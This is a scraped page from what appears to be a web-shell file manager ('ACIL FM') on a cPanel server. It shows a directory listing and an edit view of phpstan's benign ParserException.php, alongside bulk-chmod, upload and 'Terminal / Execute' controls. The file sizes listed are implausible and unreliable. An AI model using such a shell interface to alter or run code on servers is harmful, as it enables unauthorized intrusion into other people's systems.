ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/phpstan/phpdoc-parser/src/Parser
/
opt
cpanel
ea-wappspector
vendor
phpstan
phpdoc-parser
src
Parser
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
ConstExprParser.php
7.63 MB
chmod
View
DL
Edit
Rename
Delete
ParserException.php
2.11 MB
chmod
View
DL
Edit
Rename
Delete
PhpDocParser.php
37.58 MB
chmod
View
DL
Edit
Rename
Delete
StringUnescaper.php
2.34 MB
chmod
View
DL
Edit
Rename
Delete
TokenIterator.php
8.84 MB
chmod
View
DL
Edit
Rename
Delete
TypeParser.php
32.57 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/phpstan/phpdoc-parser/src/Parser/ParserException.php
<?php declare(strict_types = 1); namespace PHPStan\PhpDocParser\Parser; use Exception; use PHPStan\PhpDocParser\Lexer\Lexer; use function assert; use function json_encode; use function sprintf; use const JSON_INVALID_UTF8_SUBSTITUTE; use const JSON_UNESCAPED_SLASHES; use const JSON_UNESCAPED_UNICODE; class ParserException extends Exception { private string $currentTokenValue; private int $currentTokenType; private int $currentOffset; private int $expectedTokenType; private ?string $expectedTokenValue; private ?int $currentTokenLine; public function __construct( string $currentTokenValue, int $currentTokenType, int $currentOffset, int $expectedTokenType, ?string $expectedTokenValue, ?int $currentTokenLine ) { $this->currentTokenValue = $currentTokenValue; $this->currentTokenType = $currentTokenType; $this->currentOffset = $currentOffset; $this->expectedTokenType = $expectedTokenType; $this->expectedTokenValue = $expectedTokenValue; $this->currentTokenLine = $currentTokenLine; parent::__construct(sprintf( 'Unexpected token %s, expected %s%s at offset %d%s', $this->formatValue($currentTokenValue), Lexer::TOKEN_LABELS[$expectedTokenType], $expectedTokenValue !== null ? sprintf(' (%s)', $this->formatValue($expectedTokenValue)) : '', $currentOffset, $currentTokenLine === null ? '' : sprintf(' on line %d', $currentTokenLine), )); } public function getCurrentTokenValue(): string { return $this->currentTokenValue; } public function getCurrentTokenType(): int { return $this->currentTokenType; } public function getCurrentOffset(): int { return $this->currentOffset; } public function getExpectedTokenType(): int { return $this->expectedTokenType; } public function getExpectedTokenValue(): ?string { return $this->expectedTokenValue; } public function getCurrentTokenLine(): ?int { return $this->currentTokenLine; } private function formatValue(string $value): string { $json = json_encode($value, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_INVALID_UTF8_SUBSTITUTE); assert($json !== false); return $json; } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply